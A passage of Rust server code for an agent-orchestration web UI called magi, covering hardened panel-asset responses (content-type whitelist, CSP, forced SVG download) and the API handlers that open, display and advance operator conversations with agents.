7071        let id = resolve_question(&ui.questions, &id)?;
7072        let asset = ui
7073            .questions
7074            .panel_asset(&id, &name)
7075            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7076        let Some(bytes) = asset else {
7077            return Err(ApiError::not_found(format!(
7078                "question {id} has no asset `{name}`"
7079            )));
7080        };
7081        Ok(panel_response(
7082            asset_content_type(&name),
7083            is_svg(&name),
7084            bytes,
7085        ))
7086    })
7087    .await
7088}
7089
7090/// Content type for a panel asset, from a closed whitelist.
7091///
7092/// A whitelist with an `application/octet-stream` fallback rather than a
7093/// guess, because the one answer that must never come out of here is
7094/// `text/html`. An agent that writes `notes.html` into its panel directory and
7095/// links it would otherwise get its own markup rendered at the top level of the
7096/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7097/// magi's origin - which is precisely the thing the panel design exists to
7098/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7099///
7100/// `nosniff` accompanies this on every response, so a browser cannot decide it
7101/// knows better than the type we sent.
7102fn asset_content_type(name: &str) -> &'static str {
7103    match extension(name).as_deref() {
7104        Some("png") => "image/png",
7105        Some("jpg" | "jpeg") => "image/jpeg",
7106        Some("gif") => "image/gif",
7107        Some("webp") => "image/webp",
7108        Some("svg") => "image/svg+xml",
7109        Some("css") => "text/css; charset=utf-8",
7110        Some("txt") => "text/plain; charset=utf-8",
7111        _ => "application/octet-stream",
7112    }
7113}
7114
7115/// Is this an SVG, and therefore a file that must never be opened at the top
7116/// level?
7117fn is_svg(name: &str) -> bool {
7118    extension(name).as_deref() == Some("svg")
7119}
7120
7121/// Lowercased extension, or `None` for a name without one.
7122fn extension(name: &str) -> Option<String> {
7123    name.rsplit_once('.')
7124        .map(|(_, ext)| ext.to_ascii_lowercase())
7125}
7126
7127/// Every panel response, with the four headers that make it safe and, for an
7128/// SVG, a fifth.
7129///
7130/// One function rather than a header list per handler, because a panel route
7131/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7132/// model gone, silently, on one of two routes. Adding a third panel route later
7133/// means calling this, and there is nowhere else to build a panel response.
7134///
7135/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7136/// as an `<img src>` inside the panel that script cannot run - but the asset
7137/// URL is also a plain URL an operator can be talked into opening in a tab,
7138/// where it is a document on magi's own origin. `Content-Disposition:
7139/// attachment` makes the browser download it instead of rendering it, which
7140/// closes that door without taking away the ability to draw a diff. Raster
7141/// images have no such execution surface and are left inline, so tapping a
7142/// screenshot still shows it.
7143fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7144    let mut res = (
7145        [
7146            (header::CONTENT_TYPE, content_type),
7147            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7148            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7149            (header::REFERRER_POLICY, "no-referrer"),
7150        ],
7151        body,
7152    )
7153        .into_response();
7154    if download {
7155        res.headers_mut().insert(
7156            header::CONTENT_DISPOSITION,
7157            HeaderValue::from_static("attachment"),
7158        );
7159    }
7160    res
7161}
7162
7163/// A talk as the phone reads it.
7164///
7165/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7166/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7167/// parses markdown itself - and the process-local `thinking` hint.
7168#[derive(Debug, Serialize)]
7169struct TalkView {
7170    #[serde(flatten)]
7171    talk: Talk,
7172    turn_bodies_md: Vec<Vec<md::Node>>,
7173    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7174    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7175    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7176    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7177    /// this server process.
7178    ///
7179    /// This is deliberately not durable: another server process cannot see
7180    /// it, and a restarted server must not claim an old turn is live. It is a
7181    /// progress hint rather than proof a reply landed; the transcript remains
7182    /// the source of truth for that.
7183    thinking: bool,
7184    /// Context-window usage, derived per request - see
7185    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7186    /// and each mutation) so the phone needs no extra call or polling.
7187    context: talk::ContextUsage,
7188    /// `[talk] operator_name`, when configured; the Chat labels the
7189    /// operator's turns with it.
7190    operator_name: Option<String>,
7191    /// The active persona's display name; `None` for the default voice.
7192    persona_name: Option<String>,
7193    /// URL of the avatar for the conversation's persona (the default voice
7194    /// included). Server-built; a configured `icon` never reaches the client.
7195    persona_avatar: String,
7196    /// Operator avatar; display only and independent of repository config.
7197    operator_avatar: String,
7198    magi_avatar: String,
7199}
7200
7201impl TalkView {
7202    /// Reads the talk's repository config itself; a config that cannot be
7203    /// read leaves the window unknown but never fails the conversation.
7204    fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7205        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7206        Self::with_config(talk, thinking, cfg.as_ref(), home)
7207    }
7208
7209    /// As [`Self::new`], with the config already in hand (the list reads one
7210    /// per repository, not one per conversation).
7211    fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7212        // This owned value is the display DTO; never write it back to the talk store.
7213        let snapshot = talk.clone();
7214        for (index, turn) in talk.turns.iter_mut().enumerate() {
7215            let original = &snapshot.turns[index];
7216            if turn.messages.is_empty() {
7217                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7218                    turn.messages.push(talk::Message {
7219                        sender: Some(talk::Sender::Magi),
7220                        body: original.body.clone(),
7221                        display: Some(display),
7222                        attachments: original.attachments.clone(),
7223                        reply: None,
7224                    });
7225                }
7226            } else {
7227                for (i, message) in turn.messages.iter_mut().enumerate() {
7228                    message.display =
7229                        talk::notice_display(&snapshot, original, original.messages.get(i));
7230                    if message.display.is_some() {
7231                        message.sender = Some(talk::Sender::Magi);
7232                    }
7233                }
7234            }
7235        }
7236        for message in &mut talk.pending_messages {
7237            if message.display.is_none()
7238                && (message.sender == Some(talk::Sender::Magi)
7239                    || snapshot
7240                        .completion_notices
7241                        .iter()
7242                        .any(|r| r.notice == message.body))
7243            {
7244                message.display = crate::prompt::legacy_notice_display(&message.body);
7245                if message.display.is_some() {
7246                    message.sender = Some(talk::Sender::Magi);
7247                }
7248            }
7249        }
7250        if talk.pending_messages.is_empty()
7251            && snapshot
7252                .completion_notices
7253                .iter()
7254                .any(|r| r.notice == talk.pending)
7255            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7256        {
7257            talk.pending_messages.push(talk::Message {
7258                sender: Some(talk::Sender::Magi),
7259                display: Some(display),
7260                body: talk.pending.clone(),
7261                attachments: talk.pending_attachments.clone(),
7262                reply: None,
7263            });
7264        }
7265        let excerpts: Vec<Vec<Option<String>>> = talk
7266            .turns
7267            .iter()
7268            .map(|turn| {
7269                turn.messages
7270                    .iter()
7271                    .map(|m| {
7272                        m.display
7273                            .as_ref()
7274                            .map(|d| d.facts.chars().take(240).collect())
7275                    })
7276                    .collect()
7277            })
7278            .collect();
7279        for turn in &mut talk.turns {
7280            let provenance = talk::sender(turn, None);
7281            turn.sender = Some(provenance);
7282            for message in &mut turn.messages {
7283                message.sender = Some(message.sender.unwrap_or(provenance));
7284            }
7285        }
7286        // Old reply snapshots have only a role; recover provenance from their target.
7287        let senders: Vec<Vec<talk::Sender>> = talk
7288            .turns
7289            .iter()
7290            .map(|turn| {
7291                if turn.messages.is_empty() {
7292                    vec![talk::sender(turn, None)]
7293                } else {
7294                    turn.messages
7295                        .iter()
7296                        .map(|m| talk::sender(turn, Some(m)))
7297                        .collect()
7298                }
7299            })
7300            .collect();
7301        for reply in talk
7302            .turns
7303            .iter_mut()
7304            .flat_map(|t| t.messages.iter_mut())
7305            .chain(talk.pending_messages.iter_mut())
7306            .filter_map(|m| m.reply.as_mut())
7307        {
7308            if let Some(Some(excerpt)) = excerpts
7309                .get(reply.target.turn)
7310                .and_then(|ms| ms.get(reply.target.message))
7311            {
7312                reply.excerpt = excerpt.clone();
7313                reply.sender = Some(talk::Sender::Magi);
7314            }
7315            if reply.sender.is_none() {
7316                reply.sender = senders
7317                    .get(reply.target.turn)
7318                    .and_then(|messages| messages.get(reply.target.message))
7319                    .copied();
7320            }
7321        }
7322        let context = talk::context_usage(&talk, cfg);
7323        let turn_bodies_md = talk
7324            .turns
7325            .iter()
7326            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7327            .collect();
7328        let turn_messages_md = talk
7329            .turns
7330            .iter()
7331            .map(|turn| {
7332                if turn.messages.is_empty() {
7333                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7334                } else {
7335                    turn.messages
7336                        .iter()
7337                        .map(|message| {
7338                            notice_markdown(
7339                                message.sender.unwrap_or(talk::Sender::Operator),
7340                                &message.body,
7341                                message.display.as_ref(),
7342                            )
7343                        })
7344                        .collect()
7345                }
7346            })
7347            .collect();
7348        let pending_messages_md = talk
7349            .pending_messages
7350            .iter()
7351            .map(|message| {
7352                notice_markdown(
7353                    message.sender.unwrap_or(talk::Sender::Operator),
7354                    &message.body,
7355                    message.display.as_ref(),
7356                )
7357            })
7358            .collect();
7359        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7360        let persona_name = persona::find(specs, &talk.persona)
7361            .filter(|p| !p.is_default())
7362            .map(|p| p.name);
7363        let mut avatar_persona = persona::find(specs, &talk.persona)
7364            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7365        // A removed configured persona may still have an override and old talks.
7366        if avatar_persona.id != talk.persona
7367            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7368        {
7369            avatar_persona.id.clone_from(&talk.persona);
7370            avatar_persona.icon = None;
7371        }
7372        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7373        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7374        Self {
7375            turn_bodies_md,
7376            turn_messages_md,
7377            pending_messages_md,
7378            thinking,
7379            context,
7380            operator_name,
7381            persona_name,
7382            persona_avatar,
7383            magi_avatar: magi_icon_url(home),
7384            operator_avatar: operator_icon_url(home),
7385            talk,
7386        }
7387    }
7388}
7389
7390/// Parse only the user-facing representation of an explicitly identified MAGI send.
7391fn notice_markdown(
7392    sender: talk::Sender,
7393    body: &str,
7394    display: Option<&crate::prompt::NoticeDisplay>,
7395) -> Option<Vec<md::Node>> {
7396    if sender != talk::Sender::Magi {
7397        return None;
7398    }
7399    let text = if let Some(display) = display {
7400        display.facts.as_str()
7401    } else {
7402        // Unknown completion templates may contain internal directives. Never
7403        // promote their agent input to the Markdown display surface.
7404        if crate::prompt::is_completion_notice(body)
7405            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7406        {
7407            return None;
7408        }
7409        body.strip_prefix("magi: ").unwrap_or(body)
7410    };
7411    Some(md::to_nodes(text, &md::ImageBase::None))
7412}
7413
7414/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
7415/// conversation has filed, so the phone can follow one from inside the
7416/// conversation that asked for it rather than hunting the Queue for a task id
7417/// it may not remember.
7418#[derive(Debug, Serialize)]
7419struct TalkDetailView {
7420    #[serde(flatten)]
7421    view: TalkView,
7422    tasks: Vec<TaskView>,
7423    task_progress: TalkTaskProgress,
7424    /// The agents this talk's repository can switch to; empty when its
7425    /// configuration cannot be read, which must not fail the whole detail.
7426    roster: Vec<RosterEntry>,
7427    /// The personas the conversation can pick from. The built-ins are always
7428    /// listed, even when the repository's configuration cannot be read.
7429    personas: Vec<PersonaEntry>,
7430}
7431
7432/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
7433#[derive(Debug, Serialize)]
7434struct TalkTaskProgress {
7435    state: &'static str,
7436    total: usize,
7437    done: usize,
7438    counts: std::collections::BTreeMap<&'static str, usize>,
7439    unfinished_ids: Vec<String>,
7440}
7441
7442fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7443    let mut counts = std::collections::BTreeMap::from([
7444        ("queued", 0),
7445        ("running", 0),
7446        ("done", 0),
7447        ("failed", 0),
7448        ("held", 0),
7449        ("blocked", 0),
7450        ("parked", 0),
7451    ]);
7452    let mut unfinished_ids = Vec::new();
7453    for task in tasks {
7454        *counts.entry(task.status.as_str()).or_default() += 1;
7455        if task.status != TaskStatus::Done {
7456            unfinished_ids.push(task.id.clone());
7457        }
7458    }
7459    TalkTaskProgress {
7460        state: if tasks.is_empty() {
7461            "none"
7462        } else if unfinished_ids.is_empty() {
7463            "complete"
7464        } else {
7465            "incomplete"
7466        },
7467        total: tasks.len(),
7468        done: tasks.len() - unfinished_ids.len(),
7469        counts,
7470        unfinished_ids,
7471    }
7472}
7473
7474/// One persona as the talk's persona selector shows it.
7475#[derive(Debug, Serialize)]
7476struct PersonaEntry {
7477    id: String,
7478    name: String,
7479    /// Avatar URL, see [`TalkView::persona_avatar`].
7480    avatar: String,
7481}
7482
7483/// One roster agent as the talk's agent selector shows it.
7484#[derive(Debug, Serialize)]
7485struct RosterEntry {
7486    id: String,
7487    kind: AgentKind,
7488    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
7489    runnable: bool,
7490}
7491
7492/// `GET /api/talks`.
7493///
7494/// Every conversation, open ones first and newest first - [`Talks::list`]'s
7495/// own order.
7496async fn talks_list(
7497    State(ui): State<Arc<Ui>>,
7498    Query(q): Query<ListQuery>,
7499) -> ApiResult<Json<Vec<TalkView>>> {
7500    blocking(move || {
7501        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7502        Ok(Json(
7503            ui.talks
7504                .list()
7505                .into_iter()
7506                .filter(|talk| q.contains(&talk.id))
7507                .map(|talk| {
7508                    let thinking = ui.is_thinking(&talk.id);
7509                    let cfg = configs
7510                        .entry(talk.repo.clone())
7511                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7512                    TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7513                })
7514                .collect(),
7515        ))
7516    })
7517    .await
7518}
7519
7520/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
7521/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
7522/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
7523/// end still opens a talk against an older binary.
7524#[derive(Debug, Default, Deserialize)]
7525#[serde(default)]
7526struct NewTalk {
7527    agent: Option<String>,
7528    repo: Option<PathBuf>,
7529    /// Remembered choices from the browser. Soft: kept as raw JSON so a
7530    /// wrong type is dropped like a stale value instead of failing the request;
7531    /// each falls back to its default on its own (see [`talk::begin_with`]).
7532    preferred_agent: Option<serde_json::Value>,
7533    persona: Option<serde_json::Value>,
7534    implementers: Option<serde_json::Value>,
7535}
7536
7537/// `POST /api/talks` - open a conversation. Takes no agent turn: see
7538/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
7539async fn talk_post(
7540    State(ui): State<Arc<Ui>>,
7541    body: std::result::Result<Json<NewTalk>, JsonRejection>,
7542) -> ApiResult<impl IntoResponse> {
7543    // An absent body, or an empty one, is the normal way to open a talk - see
7544    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
7545    // rather than refused.
7546    let body = match body {
7547        Ok(Json(body)) => body,
7548        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7549        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7550    };
7551    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7552    let cfg = config_for(&repo).await?;
7553    let view = blocking(move || {
7554        let preferred = talk::Preferred {
7555            agent: body
7556                .preferred_agent
7557                .as_ref()
7558                .and_then(|v| v.as_str())
7559                .map(str::to_owned),
7560            persona: body
7561                .persona
7562                .as_ref()
7563                .and_then(|v| v.as_str())
7564                .map(str::to_owned),
7565            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7566        };
7567        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7568        let thinking = ui.is_thinking(&talk.id);
7569        Ok(TalkView::new(talk, thinking, &ui.home))
7570    })
7571    .await?;
7572    Ok((StatusCode::CREATED, Json(view)))
7573}
7574
7575/// `GET /api/talks/{id}`.
7576async fn talk_detail(
7577    State(ui): State<Arc<Ui>>,
7578    Path(id): Path<String>,
7579) -> ApiResult<Json<TalkDetailView>> {
7580    blocking(move || {
7581        let id = resolve_talk(&ui.talks, &id)?;
7582        let talk = ui.talks.get(&id)?;
7583        let thinking = ui.is_thinking(&talk.id);
7584        let tasks = talk::tasks_of(&ui.queue, &talk.id);
7585        let task_progress = talk_task_progress(&tasks);
7586        let tasks = tasks.into_iter().map(TaskView::from).collect();
7587        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7588        let roster = cfg
7589            .as_ref()
7590            .map(|cfg| {
7591                cfg.agents
7592                    .iter()
7593                    .map(|a| RosterEntry {
7594                        id: a.id.clone(),
7595                        kind: a.kind,
7596                        runnable: agent::installed(a),
7597                    })
7598                    .collect()
7599            })
7600            .unwrap_or_default();
7601        let specs = cfg
7602            .as_ref()
7603            .map(|cfg| cfg.talk.personas.clone())
7604            .unwrap_or_default();
7605        let personas = persona::catalog(&specs)
7606            .into_iter()
7607            .map(|p| PersonaEntry {
7608                avatar: avatar_url(&ui.home, &talk.id, &p),
7609                id: p.id,
7610                name: p.name,
7611            })
7612            .collect();
7613        Ok(Json(TalkDetailView {
7614            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7615            tasks,
7616            task_progress,
7617            roster,
7618            personas,
7619        }))
7620    })
7621    .await
7622}
7623
7624/// The body of `POST /api/talks/{id}/say`.
7625///
7626/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7627/// returned - never bytes of its own - so a turn with no images just omits
7628/// the field, which is what an older front end still does.
7629#[derive(Debug, Default, Deserialize)]
7630#[serde(default, deny_unknown_fields)]
7631struct NewTalkTurn {
7632    reply_to: Option<talk::ReplyTarget>,
7633    text: String,
7634    attachments: Vec<String>,
7635}
7636
7637#[derive(Debug, Deserialize)]
7638#[serde(deny_unknown_fields)]
7639struct EditTalkPending {
7640    #[serde(default)]
7641    message: Option<usize>,
7642    text: String,
7643    expected_text: String,
7644    expected_attachments: Vec<String>,
7645}
7646
7647#[derive(Debug, Deserialize)]
7648#[serde(deny_unknown_fields)]
7649struct ClearTalkPending {
7650    expected_text: String,
7651    expected_attachments: Vec<String>,
7652}
7653
7654/// `POST /api/talks/{id}/say` - one turn of the conversation.
7655///
7656/// Not filesystem work, and therefore not routed through [`blocking`]: this
7657/// route spawns an agent CLI and a turn here can run for the whole of
7658/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7659/// research turn is expected to run commands rather than answer from what it
7660/// already knows. Holding an HTTP connection open that long is not a thing
7661/// to ask a phone to do; the operator's message is recorded and answered for
7662/// immediately, and the reply lands in the background, discovered through
7663/// the change stream's `talks_rev` the same way every other update on this
7664/// surface is.
7665async fn talk_say(
7666    State(ui): State<Arc<Ui>>,
7667    Path(id): Path<String>,
7668    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7669) -> ApiResult<(StatusCode, Json<TalkView>)> {
7670    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7671    if body.text.trim().is_empty() && body.attachments.is_empty() {
7672        return Err(ApiError::bad_request("say something"));
7673    }
7674
7675    let id = {
7676        let ui = Arc::clone(&ui);
7677        let asked = id.clone();
7678        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7679    };
7680    // A closed Talk never accepts a new immediate or queued turn. Check this
7681    // before claiming a slot so its ordinary domain refusal is a 409, not an
7682    // incidental failure from the later record/queue write.
7683    {
7684        let ui = Arc::clone(&ui);
7685        let id = id.clone();
7686        blocking(move || {
7687            let talk = ui.talks.get(&id)?;
7688            if !talk.status.open() {
7689                return Err(ApiError::conflict(format!(
7690                    "talk {} is {} and takes no more turns",
7691                    talk.short(),
7692                    talk.status.as_str()
7693                )));
7694            }
7695            Ok(())
7696        })
7697        .await?;
7698    }
7699
7700    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7701    // actually stores, before anything is written - an unknown id is a 4xx
7702    // that names it rather than a turn (or a queued draft) silently missing
7703    // an image.
7704    let attachments = {
7705        let ui = Arc::clone(&ui);
7706        let id = id.clone();
7707        let ids = body.attachments.clone();
7708        blocking(move || {
7709            ids.into_iter()
7710                .map(|att_id| {
7711                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7712                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7713                    })
7714                })
7715                .collect::<ApiResult<Vec<talk::Attachment>>>()
7716        })
7717        .await?
7718    };
7719
7720    // Pending recovery and a new immediate turn are decided under the same
7721    // claim lock. Without that one critical section, a second `/say` can see
7722    // the first request's claim as "busy" and append itself to the recovered
7723    // draft before the first request rejects it.
7724    let start = {
7725        let ui = Arc::clone(&ui);
7726        let id = id.clone();
7727        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7728    };
7729    let turn_guard = match start {
7730        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7731        TalkTurnStart::Pending => {
7732            return Err(ApiError::conflict(
7733                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7734            ));
7735        }
7736        TalkTurnStart::Foreign => {
7737            return Err(ApiError::conflict(
7738                "a turn is already running in another process; try again when it has finished",
7739            ));
7740        }
7741        TalkTurnStart::Busy => {
7742            // A turn is already running: queue rather than refuse. See
7743            // `Ui::begin_talk_turn` and `talk::queue`.
7744            //
7745            // The queue write and the drain it may owe live inside the task
7746            // `tokio::spawn` hands to the runtime, for the same reason the
7747            // immediate path below puts `record` there: a dropped handler
7748            // future must not be able to land between a durable write and
7749            // the task that answers it. `blocking` runs its closure on
7750            // `spawn_blocking`, which finishes whether or not anyone is left
7751            // to receive its result - so a disconnect at the `.await` below
7752            // would otherwise leave the draft persisted and the reclaimed
7753            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7754            // ever started and the queued text stranded until some later
7755            // `say` happened to pick it up. The caller's 202 travels back
7756            // over a `oneshot`, sent the moment the write lands.
7757            let (tx, rx) = tokio::sync::oneshot::channel();
7758            tokio::spawn({
7759                let ui = Arc::clone(&ui);
7760                let id = id.clone();
7761                let said = body.text.clone();
7762                let reply_to = body.reply_to.clone();
7763                async move {
7764                    let written = blocking({
7765                        let ui = Arc::clone(&ui);
7766                        let id = id.clone();
7767                        move || {
7768                            let mut talk = ui.talks.get(&id)?;
7769                            // A test-only stop point, right before the write
7770                            // an interleaving test needs to pin - see
7771                            // `BusyQueueGate`. `None` in every real server:
7772                            // the field only exists under `#[cfg(test)]`.
7773                            #[cfg(test)]
7774                            if let Some(gate) = ui
7775                                .busy_queue_gate
7776                                .lock()
7777                                .unwrap_or_else(PoisonError::into_inner)
7778                                .take()
7779                            {
7780                                let _ = gate.reached.send(());
7781                                let _ = gate.release.recv();
7782                            }
7783                            if let Err(error) = talk::queue_reply(
7784                                &mut talk,
7785                                &ui.talks,
7786                                &said,
7787                                attachments,
7788                                reply_to,
7789                            ) {
7790                                if let Ok(fresh) = ui.talks.get(&id) {
7791                                    if !fresh.status.open() {
7792                                        return Err(ApiError::conflict(format!(
7793                                            "talk {} is {} and takes no more turns",
7794                                            fresh.short(),
7795                                            fresh.status.as_str()
7796                                        )));
7797                                    }
7798                                }
7799                                return Err(
7800                                    if error.to_string().contains("invalid reply target") {
7801                                        ApiError::bad_request("invalid reply target")
7802                                    } else {
7803                                        ApiError::from(error)
7804                                    },
7805                                );
7806                            }
7807                            // The turn that looked busy a moment ago can have
7808                            // finished, found nothing to drain and given up the
7809                            // slot in the gap between that check and this write
7810                            // landing - see `drain_loop`'s own doc for the other
7811                            // half of why that gap would otherwise be able to
7812                            // open at all. Reclaiming the slot here, rather than
7813                            // trusting that whoever held it is still watching, is
7814                            // what stops the text just queued from being stranded
7815                            // until an unrelated future `say` happens to drain
7816                            // it.
7817                            let claim = match ui.begin_queued_talk_turn(&id)? {
7818                                Some(turn_guard) => {
7819                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7820                                    Some((talk.clone(), cfg, turn_guard))
7821                                }
7822                                None => None,
7823                            };
7824                            let thinking = ui.is_thinking(&id);
7825                            Ok((TalkView::new(talk, thinking, &ui.home), claim))
7826                        }
7827                    })
7828                    .await;
7829                    let (view, reclaimed) = match written {
7830                        Ok(pair) => pair,
7831                        Err(e) => {
7832                            // Nobody is listening if the handler's own future
7833                            // was already dropped - that is fine, nothing was
7834                            // persisted and there is no response left to carry
7835                            // this error to.
7836                            let _ = tx.send(Err(e));
7837                            return;
7838                        }
7839                    };
7840                    // If this fails, the caller is gone; the drain below still
7841                    // runs exactly as it would have for a caller that stayed.
7842                    let _ = tx.send(Ok(view));
7843                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7844                        let talks = ui.talks.clone();
7845                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7846                    }
7847                }
7848            });
7849            let view = rx
7850                .await
7851                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7852            return Ok((StatusCode::ACCEPTED, Json(view)));
7853        }
7854    };
7855
7856    let (talk, cfg) = {
7857        let ui = Arc::clone(&ui);
7858        let id = id.clone();
7859        blocking(move || {
7860            let talk = ui.talks.get(&id)?;
7861            let (cfg, _) = Config::discover(&talk.repo, None)?;
7862            Ok((talk, cfg))
7863        })
7864        .await?
7865    };
7866
7867    let talks = ui.talks.clone();
7868    // `record` runs *inside* the spawned task, rather than in this handler
7869    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7870    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7871    // doc), and that drop can land at any `.await` this function makes,
7872    // including one that has already produced its result but not yet
7873    // resumed. A message could end up recorded on disk with the handler
7874    // future gone before it ever reached the `tokio::spawn` that would have
7875    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7876    // that hands the whole future to the runtime as one unit - once made, no
7877    // later drop of *this* handler's own future (that call's return value is
7878    // never held onto here) can reach back in and stop it, so record and the
7879    // hand-off to `respond` are unconditionally atomic from the client's
7880    // point of view. The immediate response this handler owes the caller
7881    // travels back over a `oneshot`, sent the moment `record` succeeds.
7882    let (tx, rx) = tokio::sync::oneshot::channel();
7883    tokio::spawn({
7884        let ui = Arc::clone(&ui);
7885        let talks = talks.clone();
7886        let id = id.clone();
7887        let said = body.text.clone();
7888        let reply_to = body.reply_to.clone();
7889        let mut talk = talk.clone();
7890        async move {
7891            let recorded = blocking({
7892                let talks = talks.clone();
7893                move || {
7894                    if let Err(error) =
7895                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7896                    {
7897                        if let Ok(fresh) = talks.get(&talk.id) {
7898                            if !fresh.status.open() {
7899                                return Err(ApiError::conflict(format!(
7900                                    "talk {} is {} and takes no more turns",
7901                                    fresh.short(),
7902                                    fresh.status.as_str()
7903                                )));
7904                            }
7905                        }
7906                        return Err(if error.to_string().contains("invalid reply target") {
7907                            ApiError::bad_request("invalid reply target")
7908                        } else {
7909                            ApiError::from(error)
7910                        });
7911                    }
7912                    // `record` mutates `talk` in place to the freshly persisted
7913                    // state (status, pending, and the just-appended operator
7914                    // turn), so returning it here is equivalent to re-reading it
7915                    // from disk - without the extra round trip a re-read would
7916                    // need.
7917                    Ok((said.trim().to_owned(), talk))
7918                }
7919            })
7920            .await;
7921            let (text, mut talk) = match recorded {
7922                Ok(pair) => pair,
7923                Err(e) => {
7924                    // Nobody is listening if the handler's own future was
7925                    // already dropped - that is fine, there is no response
7926                    // left to carry this error to and nothing was persisted.
7927                    let _ = tx.send(Err(e));
7928                    return;
7929                }
7930            };
7931            let queued = talk.clone();
7932            let thinking = ui.is_thinking(&id);
7933            // If this fails, the caller is gone; the turn still runs below
7934            // exactly as it would have for a caller that stayed connected.
7935            let _ = tx.send(Ok((queued, thinking)));
7936
7937            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7938                // `respond` records the failure in the transcript itself,
7939                // which is what the phone reads; this line is for the
7940                // operator's terminal.
7941                tracing::warn!("talk {id} turn failed: {e:#}");
7942            }
7943            // Anything `talk::queue` added while the turn above was running
7944            // is still owed an answer - see `drain_loop`.
7945            drain_loop(talk, talks, cfg, id, turn_guard).await;
7946        }
7947    });
7948
7949    let (queued, thinking) = rx
7950        .await
7951        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7952
7953    // 202: the operator's message is recorded and a turn is running.
7954    Ok((
7955        StatusCode::ACCEPTED,
7956        Json(TalkView::new(queued, thinking, &ui.home)),
7957    ))
7958}
7959
7960/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7961/// changing it. The turn guard is the same per-talk ownership `talk_say`
7962/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7963async fn talk_pending_resume(
7964    State(ui): State<Arc<Ui>>,
7965    Path(id): Path<String>,
7966) -> ApiResult<(StatusCode, Json<TalkView>)> {
7967    let id = {
7968        let ui = Arc::clone(&ui);
7969        let asked = id.clone();
7970        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7971    };
7972    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7973        return Err(ApiError::conflict(
7974            "a talk turn is already running; the queued draft will be handled by it",
7975        ));
7976    };
7977    let (talk, cfg) = {
7978        let ui = Arc::clone(&ui);
7979        let id = id.clone();
7980        blocking(move || {
7981            let talk = ui.talks.get(&id)?;
7982            if !talk.status.open() {
7983                return Err(ApiError::conflict(format!(
7984                    "talk {} is {} and takes no more turns",
7985                    talk.short(),
7986                    talk.status.as_str()
7987                )));
7988            }
7989            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7990                return Err(ApiError::conflict("there is no queued draft to resume"));
7991            }
